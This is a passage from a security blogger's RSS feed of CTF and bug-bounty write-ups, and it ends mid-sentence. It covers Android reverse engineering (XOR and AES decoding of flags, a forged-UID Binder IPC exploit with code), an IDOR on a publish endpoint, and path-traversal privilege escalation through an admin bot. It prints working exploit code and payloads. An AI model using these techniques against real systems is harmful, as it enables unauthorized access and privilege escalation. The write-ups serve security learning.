(username.isEmpty() || password.isEmpty()) {<br>            Toast.makeText(this, &quot;Please enter credentials&quot;, 0).show();<br>            return;<br>        }<br>        if (username.equals(&quot;phantom_admin&quot;) &amp;&amp; password.startsWith(&quot;dbg_&quot;)) {<br>            String adminToken = new LegacyDecoder().resolve(password.substring(4));<br>            if (!adminToken.isEmpty()) {<br>                Toast.makeText(this, &quot;Debug session: &quot; + adminToken, 1).show();<br>                return;<br>            } else {<br>                Toast.makeText(this, &quot;Invalid debug token&quot;, 0).show();<br>                return;<br>            }<br>        }</pre><p>So naturally, the next step was diving into the LegacyDecoder source code. The resolve function looked suspiciously simple: it decodes the input using Base64, XORs the result with the value 66, and then runs it through a hardcoded hash function to generate a token. Sounds promising, right? Unfortunately, this entire path turned out to be a classic CTF rabbit hole, rewarding the effort with the very motivational flag: CyCTF{fake_flag_nice_try}.</p><pre>public class LegacyDecoder {<br>    private static final byte DECODE_KEY = 66<br>    public String getStoredHash() {<br>        return &quot;ATsBFgQ5JCMpJx0kLiMlHSwrIScdNjA7Pw==&quot;;<br>    }<br>    public String resolve(String input) {<br>        try {<br>            String hash = getStoredHash();<br>            byte[] decoded = Base64.decode(hash, 0);<br>            byte[] result = new byte[decoded.length];<br>            for (int i = 0; i &lt; decoded.length; i++) {<br>                result[i] = (byte) (decoded[i] ^ DECODE_KEY);<br>            }<br>            String token = new String(result);<br>            if (input != null) {<br>                if (input.equals(token)) {<br>                    return token;<br>                }<br>            }<br>            return &quot;&quot;;<br>        } catch (Exception e) {<br>            return &quot;&quot;;<br>        }<br>    }</pre><p>But while digging deeper into MainActivity, something interesting showed up. There’s a chunk of code that never actually gets called during normal execution… which, in CTF terms, usually means <em>“hey hacker, look here.”</em> This hidden snippet creates a ShadowContext, accesses getSharedPreferences(&quot;session_store&quot;, 0), and then retrieves the stored admin session hash. After that, it decodes the value, hinting that the real secret might be hiding inside the app’s stored session data rather than the fake decoder rabbit hole.</p><pre>ShadowContext shadowCtx = new ShadowContext(this);<br>SharedPreferences prefs = shadowCtx.getSharedPreferences(&quot;session_store&quot;, 0);<br>String sessionHash = prefs.getString(&quot;session_token_hash&quot;, &quot;&quot;);<br>if (sessionHash != null &amp;&amp; !sessionHash.isEmpty()) {<br>            String decoded = shadowCtx.decodeSessionToken(sessionHash);<br>            if (password.equals(decoded)) {<br>                Toast.makeText(this, &quot;Welcome back, &quot; + username, 1).show();<br>                return;<br>            } else {<br>                Toast.makeText(this, &quot;Invalid credentials&quot;, 0).show();<br>                return;<br>            }<br>        }<br>        Toast.makeText(this, &quot;Session expired. Contact admin.&quot;, 0).show();</pre><p>Digging into the source code of ShadowContext, things start getting interesting. The class secretly creates a prefs_backup.xml file inside a hidden directory at .config/.system. Totally normal behavior… definitely not suspicious at all. Inside this logic, we also find the secret key used for the XOR operation, which happens to be the value 66. The decodeSessionToken function simply takes the input, decodes it from Base64, and then XORs every byte with 66, revealing the original session token.</p><pre>public class ShadowContext extends ContextWrapper {<br>    private static final byte DECODE_KEY = 66;<br>    private static final String PREFS_FILE = &quot;prefs_backup&quot;;<br>    private static final String SHADOW_DIR = &quot;.config/.system&quot;;<br>    public String decodeSessionToken(String encodedToken) {<br>        byte[] decoded = Base64.decode(encodedToken, 0);<br>        byte[] result = new byte[decoded.length];<br>        for (int i = 0; i &lt; decoded.length; i++) {<br>            result[i] = (byte) (decoded[i] ^ DECODE_KEY);<br>        }<br>        return new String(result);<br>    }<br>}</pre><p>At this point, the mission becomes pretty straightforward. All that’s left is to check the hidden directory and grab the stored session token. By running cat /data/data/com.ctf.phantomprefs/files/.config/.system, we can locate the session_token_hash. After extracting it, we simply apply the decoding logic we discovered earlier to reveal the real flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/830/1*70GkcUi38FRvqiSWgtCbkA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/598/1*hHKwAXd1Jfo76uDk2Pxmcw.png" /></figure><blockquote><strong>Challenge</strong>: HighScoreHero<strong><br>Category</strong>: Android</blockquote><p>We’re handed a single file: highscorehero.apk. The app itself is a dead-simple mobile game — tap a button, watch your score go up, compete on a leaderboard. No login screen, no network calls, nothing obviously CTF-shaped on the surface. Just four players on a leaderboard and a button that hands out points.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/408/1*nwVwIilhDgp4eiNohZR1EQ.png" /></figure><p>The first thing any self-respecting reverse engineer does is extract the APK and throw the asset file at protoc:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yAN-nCSsGOOp7-jjRNclRA.png" /></figure><p>Four normal players — name and score, nothing surprising. But that first entry is strange. SYSTEM has no score, and instead of a second field it carries <strong>48 bytes of binary data</strong> in field 3. That&#39;s not a coincidence. That&#39;s the flag.</p><p>Time to pull out Jadx and see what the app actually does with that blob:</p><p>Three classes do all the interesting work: CryptoHelper, LegacyScoreManager, and ScoreManager. Let&#39;s go through them.</p><p>The static initializer of CryptoHelper immediately hands us two hardcoded byte arrays via fill-array-data-payload instructions:</p><pre>LEGACY_IV          = 00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f<br>DEBUG_FALLBACK_KEY = fe 0e 25 e2 75 a8 0c 35 eb 12 33 0b 9c 01 fc 42</pre><p>The class has two cipher modes. decrypt() uses AES/CBC/PKCS7 with LEGACY_IV. And then there&#39;s processBlock(), which uses AES/ECB/PKCS5 — no IV, just raw block cipher. That second one is going to matter a lot later.</p><p>The deriveKey() method computes SHA-256(certHash + KEY_SALT)[:16] and returns the result. If anything throws an exception — say, a cert check failing in a debug environment — it quietly falls back to returning DEBUG_FALLBACK_KEY directly.</p><p>Here’s where things get interesting, and where the first rabbit hole opens up.</p><p>The static initializer of LegacyScoreManager reveals a key salt:</p><pre>KEY_SALT = b&#39;ctf.hsh&#39;</pre><p>And there’s a method called extractSystemToken(). Its logic, paraphrased:</p><pre>1. Load scoreboard from score_cache.pb<br>2. Derive key = SHA-256(certHash + &quot;ctf.hsh&quot;)[:16]<br>3. Find the SYSTEM entry<br>4. Call entry.getMetadata()   &lt;-- proto field 4<br>5. If metadata.length &gt; 0: decrypt it and return the string</pre><p>Notice it calls getMetadata() — that&#39;s proto field 4 — not getScoreHash() which is field 3. So the natural assumption is: the 48-byte blob must be in <em>field 4</em>, and we just need to find it and decrypt it with the right key.</p><p>Except… protoc --decode_raw only shows a field 3 in that SYSTEM entry. No field 4 anywhere. And there&#39;s no score_cache.pb on the device either — only scores.pb exists in /data/data/com.ctf.highscorehero/files/.</p><p>The method references loadScores(), which reads score_cache.pb. That file is never written by the app. So extractSystemToken() would always return an empty string in practice — it&#39;s dead code with a very deliberate purpose: to mislead.</p><p>After chasing the metadata rabbit hole for a while and coming up empty, it&#39;s time to look at the other method: verifyScoreHash(). This one actually <em>runs</em> during normal app execution.</p><p>Its logic:</p><pre>1. key       = deriveKey(certHash, KEY_SALT)<br>2. plaintext = decrypt(entry.getScoreHash(), key)<br>3. return plaintext.trim().equals(entry.getPlayerName())</pre><p>So score_hash (field 3) stores AES-CBC(playerName, certKey, LEGACY_IV). For a regular player like xXDragonSlayerXx, their 16-byte score_hash decrypts to their username. That&#39;s the integrity check.</p><p>For the SYSTEM entry, the score_hash is <strong>48 bytes — three full AES blocks</strong>. The SYSTEM player has no username to verify against. Its score_hash contains something else entirely.</p><p>Looking at the fallback key more carefully:</p><pre>cert SHA-256 (first 16 bytes): fe 0e 25 e2 75 a8 0c 35 eb 12 33 0b 9c 01 fc 10<br>DEBUG_FALLBACK_KEY:            fe 0e 25 e2 75 a8 0c 35 eb 12 33 0b 9c 01 fc 42<br>                                                                         ^^<br>                                              only the last byte differs (0x10 vs 0x42)</pre><p>That is not a coincidence. The DEBUG_FALLBACK_KEY is deliberately set to be almost identical to the first 16 bytes of the APK signing certificate&#39;s SHA-256. The challenge author is pointing directly at the real key: <strong>cert_sha256[:16]</strong>.</p><p>Now that the key is clear, there’s one last piece: which cipher mode? We tried AES-CBC with LEGACY_IV — gibberish. But the app has a second cipher mode: processBlock(), which uses <strong>AES-ECB</strong> with no IV.</p><p>ECB decrypts each 16-byte block independently. Three blocks, three independent decryptions:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/569/1*FwbAHPsU61aUDeWRuByfCA.png" /></figure><blockquote><strong>Challenge</strong>: Shadow<strong><br>Category</strong>: Android</blockquote><p>First look at the APK’s UI? Blank. Empty. Nothing to click, nothing to poke… just me going “Hmmm, okay then.”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/408/1*JhI4O3vxKA-vCdPeySBJRQ.png" /></figure><p>Oh, and one small detail I almost forgot… to actually get the flag, you need to build your own APK to exploit the target app and upload it to the CTF providers. Yep, this challenge literally makes you fight APK with APK.</p><p>So the first place to check is the AndroidManifest.xml. While scrolling through it, something spicy shows up: an <strong>exported service</strong>. And not just any service…</p><pre>&lt;service<br>    android:name=&quot;com.ctf.shadow.service.ShadowService&quot;<br>    android:permission=&quot;com.ctf.shadow.ACCESS_SHADOW&quot;<br>    android:exported=&quot;true&quot;/&gt;<br>&lt;permission<br>        android:name=&quot;com.ctf.shadow.ACCESS_SHADOW&quot;<br>        android:protectionLevel=&quot;normal&quot;/&gt;</pre><p>An exported service in a CTF? Yeah… that’s basically the app saying: <em>“Hey hackers, come poke me.”</em> So obviously, the next step is to dive into the ShadowService code and see what secrets it’s hiding.</p><p>Inspecting ShadowService reveals the core vulnerability inside the onTransact() handler. The service exposes a Binder transaction TRANSACTION_GET_SECRET (1338) that processes incoming IPC requests.</p><p>The logic expects two parameters from the caller:</p><ul><li>claimedUid</li><li>action</li></ul><pre>int claimedUid = data.readInt();<br>String action = data.readString();</pre><p>It then performs the following check:</p><pre>if (&quot;get_flag&quot;.equals(action) &amp;&amp; claimedUid == 1000)</pre><p>If this condition is satisfied, the service returns the flag:</p><pre>reply.writeString(FlagStore.getFlag());</pre><p>The critical issue is that claimedUid is <strong>read directly from the Parcel supplied by the caller</strong>. Since Parcel data is fully controlled by the calling application, this value can be arbitrarily forged.</p><p>Although the service logs the real caller identity using:</p><pre>Binder.getCallingUid()</pre><p>it <strong>never uses this value for the access control check</strong>.</p><p>This creates a classic <strong>Broken Access Control / Improper Authorization vulnerability in Binder IPC</strong>. Any external application can invoke the transaction, provide claimedUid = 1000, set action = &quot;get_flag&quot;, and successfully retrieve the flag.</p><p>With the vulnerability understood, the next step is crafting an exploit APK that abuses this broken access control.</p><p>The exploit APK needs to do three things:</p><ol><li>Declare com.ctf.shadow.ACCESS_SHADOW permission — since it&#39;s protectionLevel=normal, any app can request it</li><li>Declare a &lt;queries&gt; tag for com.ctf.shadow to make it visible (required for targetSdk ≥ 30)</li><li>Bind to ShadowService and send the crafted Parcel</li></ol><p>The manifest handles the first two:</p><pre>&lt;queries&gt;<br>    &lt;package android:name=&quot;com.ctf.shadow&quot; /&gt;<br>&lt;/queries&gt;</pre><pre>&lt;uses-permission android:name=&quot;com.ctf.shadow.ACCESS_SHADOW&quot; /&gt;</pre><p>Now for the actual exploit. Once the app binds to ShadowService, Android delivers an IBinder handle via onServiceConnected(). At that point we bypass all AIDL abstractions and craft the raw Parcel manually:</p><pre>data.writeInterfaceToken(DESCRIPTOR);  // passes enforceInterface() check<br>data.writeInt(CLAIMED_UID);            // lie — claim we are UID 1000<br>data.writeString(&quot;get_flag&quot;);          // passes the action check<br>binder.transact(TX_GET_SECRET, data, reply, 0);</pre><p>Three lines is all it takes. We pass the interface token to satisfy enforceInterface(), write 1000 as our fake UID, and set the action to &quot;get_flag&quot;. The service happily accepts all of this since it never cross-checks with Binder.getCallingUid().</p><p>The response comes back in reply:</p><pre>reply.readException();<br>String flag = reply.readString();</pre><p>No crash, no access denied — just the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/408/1*0qOzkKkUJo4Az4iJo28JJg.png" /></figure><p>And that’s a wrap for the quals! 🏁 Nothing else, folks. Now we wait… patiently… for the finals to drop so I can nerd out here again.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7c41f8766ec8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I Got My First Bounty]]></title>
            <link>https://0xsponge.medium.com/how-i-got-my-first-bounty-70cd498b9fc5?source=rss-55e2a790b2fc------2</link>
            <guid isPermaLink="false">https://medium.com/p/70cd498b9fc5</guid>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[authentication]]></category>
            <category><![CDATA[authorization]]></category>
            <category><![CDATA[hackerone]]></category>
            <dc:creator><![CDATA[Adhamkhairy]]></dc:creator>
            <pubDate>Mon, 29 Dec 2025 18:24:18 GMT</pubDate>
            <atom:updated>2025-12-29T18:24:18.773Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/280/0*EcJLSCjLC8EVz8Lt.gif" /></figure><p>During extensive subdomain enumeration, I identified a subdomain <strong><em>inspire.example.com </em></strong>dedicated to collecting website design inspirations. Its core functionality allows users to submit a form with their design idea and wait for an admin review and approval.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/690/1*9gBH6bmDHEEHLy_NnY0LBw.png" /></figure><p>But me? I’m supposed to wait for admin approval? No, I had to bypass it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/336/1*YBaFKEm5eFmlzzZuOiys2Q.png" /></figure><p>When I examined the endpoints, I found that hitting the publish button resulted in a request to the /example/api_path/publish endpoint with the data {&quot;id&quot;:&quot;inspiration-post-id&quot;,&quot;status&quot;:&quot;Denied&quot;}</p><p>So I thought — why not just change “Denied” to “Approved” and see if the server blindly trusts it?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/336/1*W8ZSTY_wgz6AfJ_5G0nx2Q.png" /></figure><p>And surprisingly, the server actually trusted my request without any checks!!!</p><p>But when I submitted the report, they closed it as “low” Their reasoning was that the admins review posts regularly and delete them roughly every 20 minutes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/248/0*XH2QmRqjS-Kg9mkO.gif" /></figure><p>So I decided I had to turn this endpoint into something more bounty-worthy and escalate the impact.</p><p>So I started digging deeper into the /example/api_path/publish endpoint. I retried the bug, and after the first request returned {&quot;success&quot;:true,&quot;newStatus&quot;:&quot;Approved&quot;}, I sent the same request again. This time, the server responded with {&quot;success&quot;:true,&quot;newStatus&quot;:&quot;Unpublished&quot;}.<br> Hmm… interesting.</p><p>So I wondered — can I change the ID to any other post and unpublish it? But there was a problem: how was I supposed to get that random ID?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/220/0*PcoGW44b4V8W6oBN.gif" /></figure><p>So I took my inspiration post ID, published the post, opened its page, and checked the source code. I searched for my post ID to see if it was hardcoded, and surprisingly, I found it inside a variable called Dynamic-page-id.</p><p>I swapped my post ID with the victim’s ID in the /example/api_path/publish request, and to my surprise, the server accepted it and removed the victim’s post. I submitted the report, and I got my <strong>Bountyyy</strong>!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/0*JsgZ5lzwK5V6kRdS.gif" /></figure><p>The objective is to interact with the site as a regular user would and learn the core functionality behind every API endpoint. You should understand what could actually impact the company — not just spraying XSS payloads everywhere.</p><p>👉 <strong>Don’t forget to follow me on </strong><a href="https://www.linkedin.com/in/0xsponge/"><strong>LinkedIn</strong></a> for more writeups and cybersecurity content!</p><p>👉 If you enjoyed this writeup, <strong>leave a like</strong> and <strong>follow me for more hacking content!</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=70cd498b9fc5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Night at the Museum | Fahemsec]]></title>
            <link>https://0xsponge.medium.com/night-at-the-museum-fahemsec-438e16dca94c?source=rss-55e2a790b2fc------2</link>
            <guid isPermaLink="false">https://medium.com/p/438e16dca94c</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[api]]></category>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[Adhamkhairy]]></dc:creator>
            <pubDate>Mon, 22 Dec 2025 16:55:26 GMT</pubDate>
            <atom:updated>2025-12-22T16:55:26.113Z</atom:updated>
            <content:encoded><![CDATA[<p>Let’s dive straight into this cool, somewhat creative medium web challenge from FahemSec.</p><p>Challenge URL: <a href="https://fahemsec.com/challenge?id=36">Night at the Museum</a> [WEB] [Medium] [300 points]</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/0*O4l5GTBpOkNteeU7.gif" /></figure><p>The application consists of basic authentication with role separation between users and admins. Users can purchase tickets for six rooms, while access to the seventh room — where the flag is located — is limited to admins. There is also a QR submission feature where user-generated ticket QRs are processed by an automated admin bot to validate and mark the user as a visitor.</p><p>Taking a look at the source code and file tree, there are around 89 files — yeah, that’s a lot, but we’ll get through it.</p><pre>.<br>├── backend<br>│   ├── Dockerfile<br>│   ├── package.json<br>│   ├── package-lock.json<br>│   ├── server.js<br>│   ├── src<br>│   │   ├── config<br>│   │   │   └── index.js<br>│   │   ├── controllers<br>│   │   │   ├── admin.controller.js<br>│   │   │   ├── auth.controller.js<br>│   │   │   ├── qrcode.controller.js<br>│   │   │   ├── rooms.controller.js<br>│   │   │   ├── tickets.controller.js<br>│   │   │   └── user.controller.js<br>│   │   ├── database.js<br>│   │   ├── index.js<br>│   │   ├── middleware<br>│   │   │   ├── auth.middleware.js<br>│   │   │   └── errorHandler.js<br>│   │   ├── routes<br>│   │   │   ├── admin.router.js<br>│   │   │   ├── auth.router.js<br>│   │   │   ├── qrcode.router.js<br>│   │   │   ├── rooms.router.js<br>│   │   │   └── tickets.router.js<br>│   │   ├── services<br>│   │   │   ├── auth.service.js<br>│   │   │   ├── database.service.js<br>│   │   │   ├── qrcode.service.js<br>│   │   │   ├── room.service.js<br>│   │   │   └── user.service.js<br>│   │   └── utils<br>│   │       ├── apiError.js<br>│   │       ├── catchAsync.js<br>│   │       └── wrapAsync.js<br>│   └── utils<br>│       └── apiError.js<br>├── bot<br>│   ├── Dockerfile<br>│   ├── package.json<br>│   ├── package-lock.json<br>│   ├── public<br>│   │   ├── css<br>│   │   │   └── pharaonic.css<br>│   │   └── js<br>│   ├── server.js<br>│   └── views<br>│       ├── 404.ejs<br>│       └── index.ejs<br>├── docker-compose.yml<br>├── frontend<br>│   ├── angular.json<br>│   ├── Dockerfile<br>│   ├── nginx.conf<br>│   ├── package.json<br>│   ├── package-lock.json<br>│   ├── public<br>│   │   └── favicon.ico<br>│   ├── src<br>│   │   ├── app<br>│   │   │   ├── admin<br>│   │   │   │   └── check<br>│   │   │   │       ├── check.component.css<br>│   │   │   │       ├── check.component.html<br>│   │   │   │       └── check.component.ts<br>│   │   │   ├── app.config.ts<br>│   │   │   ├── app.css<br>│   │   │   ├── app.html<br>│   │   │   ├── app.routes.ts<br>│   │   │   ├── app.spec.ts<br>│   │   │   ├── app.ts<br>│   │   │   ├── auth-redirect<br>│   │   │   │   ├── auth-redirect.component.css<br>│   │   │   │   ├── auth-redirect.component.html<br>│   │   │   │   └── auth-redirect.component.ts<br>│   │   │   ├── dashboard<br>│   │   │   │   ├── dashboard.css<br>│   │   │   │   ├── dashboard.html<br>│   │   │   │   └── dashboard.ts<br>│   │   │   ├── guards<br>│   │   │   │   └── admin.guard.ts<br>│   │   │   ├── interceptors<br>│   │   │   │   └── auth.interceptor.ts<br>│   │   │   ├── login<br>│   │   │   │   ├── login.css<br>│   │   │   │   ├── login.html<br>│   │   │   │   ├── login.spec.ts<br>│   │   │   │   └── login.ts<br>│   │   │   ├── register<br>│   │   │   │   ├── register.css<br>│   │   │   │   ├── register.html<br>│   │   │   │   ├── register.spec.ts<br>│   │   │   │   └── register.ts<br>│   │   │   ├── room-entry<br>│   │   │   │   ├── room-entry.css<br>│   │   │   │   ├── room-entry.html<br>│   │   │   │   └── room-entry.ts<br>│   │   │   ├── services<br>│   │   │   │   ├── admin.service.ts<br>│   │   │   │   ├── auth.service.ts<br>│   │   │   │   ├── http.service.ts<br>│   │   │   │   ├── qrcode.service.ts<br>│   │   │   │   └── room.service.ts<br>│   │   │   ├── toast.component.css<br>│   │   │   ├── toast.component.ts<br>│   │   │   └── toast.service.ts<br>│   │   ├── environments<br>│   │   │   ├── environment.prod.ts<br>│   │   │   └── environment.ts<br>│   │   ├── index.html<br>│   │   ├── main.ts<br>│   │   └── styles.css<br>│   ├── tsconfig.app.json<br>│   ├── tsconfig.json<br>│   └── tsconfig.spec.json<br>├── package.json<br>└── package-lock.json</pre><p>First, inspecting the QR code generated for a normal user shows that it contains three main fields in JSON format: userId, roomId, and username.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*R5FsaEp1G3G3v6RuAlbHrw.png" /></figure><p>Next, let’s take a closer look at what the admin bot does when it scans the QR code.</p><pre>  try {<br>    if (typeof browser.createIncognitoBrowserContext === &#39;function&#39;) {<br>      context = await browser.createIncognitoBrowserContext();<br>      page = await context.newPage();<br>    } else {<br>      page = await browser.newPage();<br>      context = page.browserContext ? page.browserContext() : null;<br>    }<br><br>    await page.setUserAgent(&#39;Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/115.0.0.0 Safari/537.36&#39;);<br><br>    page.on(&#39;console&#39;, m =&gt; console.log(&#39;PAGE LOG&gt;&#39;, m.text()));<br>    page.on(&#39;request&#39;, r =&gt; console.log(&#39;PAGE REQ&gt;&#39;, r.method(), r.url()));<br>    page.on(&#39;response&#39;, r =&gt; console.log(&#39;PAGE RES&gt;&#39;, r.status(), r.url()));<br><br>    const origin = FRONTEND_URL.replace(/\/\/+$/, &#39;&#39;);<br>    console.log(&#39;Bot going to frontend origin:&#39;, origin);<br><br>    await page.goto(origin, { waitUntil: &#39;networkidle2&#39;, timeout: 30000 });<br>    <br>    await page.evaluate((t, u) =&gt; { <br>      localStorage.setItem(&#39;pharaonic_token&#39;, t); <br>      localStorage.setItem(&#39;pharaonic_user&#39;, JSON.stringify(u)); <br>    }, token, user);<br><br>    const target = `${origin}/admin/check?userId=${userId}`;<br>    console.log(&#39;Bot navigating to:&#39;, target);<br><br>    try {<br>      await page.goto(target, { waitUntil: &#39;networkidle2&#39;, timeout: 30000 });<br>      <br>    } catch (e) {<br>      console.warn(&#39;page.goto failed:&#39;, e &amp;&amp; e.message);<br>    }<br><br><br>  } finally {<br>    try { if (page &amp;&amp; !page.isClosed &amp;&amp; typeof page.close === &#39;function&#39;) await page.close(); } catch (e) { }<br>    try { if (context &amp;&amp; typeof context.close === &#39;function&#39;) await context.close(); } catch (e) { }<br>    try { if (browser &amp;&amp; typeof browser.close === &#39;function&#39;) await browser.close(); } catch (e) { }<br>  }</pre><p>The bot’s primary role is to authenticate as an admin, scan the QR code, <strong>blindly</strong> extract the id parameter, and use it directly in the /admin/check?userId= endpoint. With that in mind, we can move on to reviewing the admin functions.</p><pre>const express = require(&#39;express&#39;);<br>const router = express.Router();<br>const adminController = require(&#39;../controllers/admin.controller&#39;);<br>const wrapAsync = require(&#39;../utils/wrapAsync&#39;);<br><br>router.get(&#39;/users/:id&#39;, wrapAsync(adminController.getUserById));<br><br>router.get(&#39;/promote/:id&#39;, wrapAsync(adminController.promoteToAdmin));<br><br>router.post(&#39;/rooms&#39;, wrapAsync(adminController.createRoom));<br><br>module.exports = router;</pre><pre>promoteUserToAdmin: (userId, callback) =&gt; {<br>    db.run(<br>      &#39;UPDATE users SET is_admin = 1 WHERE id = ?&#39;,<br>      [userId],<br>      callback<br>    );<br>  }</pre><pre>async promoteToAdmin(req, res, next) {<br>    try {<br>      if (!req.user || !req.user.is_admin) return res.status(403).json({ error: &#39;Admin access required&#39; });<br>      const userId = req.params?.id;<br>      console.log(&quot;[+] Promote to admin userId:&quot;, userId);<br>      if (!userId) return res.status(400).json({ error: &#39;User ID is required&#39; });<br>      dbHelper.promoteUserToAdmin(userId, (err) =&gt; {<br>        if (err) return next(err);<br>        res.json({ message: &#39;User promoted to admin successfully&#39; });<br>      });<br>    } catch (err) {<br>      next(err);<br>    }<br>  }</pre><p>The admin routes expose three functions, with the most interesting one being /api/admin/promote/:id, which upgrades a normal user to an admin role.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/0*PasltxVYZFQBH8r3.gif" /></figure><p>At this point, if the admin bot calls /admin/check?userId= with a value like ../../../api/admin/promote/123 the endpoint /api/admin/promote/../../../api/admin/promote/123 will be called and then the backend resolves it to api/admin/promote/123. As a result, this should promote the user to admin—so let’s test it.</p><p>The next step is to take a valid QR scan JSON from a normal user, modify the id field to ../../../api/admin/promote/31, and then submit it back to the bot for scanning to see if it promotes the user to the admin role.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4JXBwh0iNa_KYEo97qpCpQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/966/1*qg5q_esTx7R_qJyDCs4grA.png" /></figure><p>Now let’s take a look at the main page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/612/1*dw80KN6QuqhF3CEVnEduUQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/386/0*aYa31B9Sh7d6g-OA.gif" /></figure><p>Yahooooooooo <a href="https://www.linkedin.com/in/0xsponge/">0xSponge</a> is admin let’s get the flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/675/1*_ZuTZj8QCPAZ8nrOALnYwg.png" /></figure><p>In the end, this challenge highlights how blindly trusting user-controlled input — especially when it’s later reused in privileged backend logic — can completely break role separation. A simple path traversal combined with an over-trusted admin bot was enough to escalate privileges and access restricted resources. Proper input validation and strict routing controls would have prevented this entire exploit chain.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/0*8_KUHrAxzZ2LK2m8.gif" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=438e16dca94c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Challenges Writeup |Flaghunter 2.0 CTF]]></title>
            <link>https://0xsponge.medium.com/challenges-writeup-flaghunter-2-0-ctf-8bd3939a31b3?source=rss-55e2a790b2fc------2</link>
            <guid isPermaLink="false">https://medium.com/p/8bd3939a31b3</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[india]]></category>
            <dc:creator><![CDATA[Adhamkhairy]]></dc:creator>
            <pubDate>Wed, 05 Nov 2025 11:22:59 GMT</pubDate>
            <atom:updated>2025-11-05T17:07:23.805Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/835/1*zPjppMPkrNmQ5O7jY8ZqDA.png" /></figure><blockquote><strong>Hey folks</strong>, I’m <strong>Adham Khairy</strong> — aka <strong>0xSponge</strong>.<br> Over the last 48 hours I went solo into <strong>Flaghunter 2.0 CTF</strong>, hosted by <strong>Security BSides Vizag</strong> and sponsored by <strong>INE</strong>.<br> It was an intense, all-by-myself grind across <strong>web</strong>, <strong>reverse</strong>, <strong>crypto</strong>, and <strong>forensics</strong> challenges — and I managed to land in the <strong>top 10 out of ~800 global players</strong>.<br> This write-up covers the challenges I solved, my reasoning, and the techniques I used to snag the flags.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*s8qkCLoPjA11iIuLakc6Xg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/280/0*580CTa-pQSqEqrIS.gif" /></figure><p>Let’s start with my favorite battleground — <strong>the Web</strong>.</p><h4>🕸️ Challenge: Deal or No Deal “100 pts”</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/497/1*7hcodfrbGybDOHIVfHZSnQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/581/1*BIBD9SgsOvWV0Ih1oJ6OVA.png" /></figure><p>Looks like a boring login form — snooze. 😴 Then I peeked at the source and found the dev’s secret stash: <strong>credentials just chilling in plain text</strong>. Logged in faster than they could say “oh no.” 🎯</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/733/1*aKDZerZ0AhM_VvL9jCcyPw.png" /></figure><p>After logging in I hit the “cookies shop” page. Nothing fancy visually, but sending the purchase request through Burp revealed a <strong>hidden </strong><strong>discount parameter</strong> in the POST body. That param wasn’t in the UI — suspicious. Time to tamper the value and see how the backend validates (or doesn’t).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/405/1*CJRhiB2P93LDO3Pf5TQE2A.png" /></figure><p>I tampered the POST and set discount=100. Sent the request and waited for the backend to choke — or happily accept my free cookies. Time to see if the server enforces limits or blindly trusts the client.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/712/1*TwmtaOMJwSFGYX9ndfO3Ag.png" /></figure><p>Boom — flag grabbed. Instant win. Moving on to the next challenge.</p><h4>💻 Challenge: ShadowDocs (100 pts)</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ix1YeiGWtxrrjzwPtUDu9g.png" /></figure><p>At first glance the app only exposes a few features — register and login. I spun up a new account and started poking around endpoints and hidden flows to see what the app actually exposes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/299/1*JxzN8VmA2Vy3IyfCMPastQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/273/1*cFD7-kHvpePDYRwLGt3PSQ.png" /></figure><p>The dashboard had an <strong>upload form</strong> for documents that listed 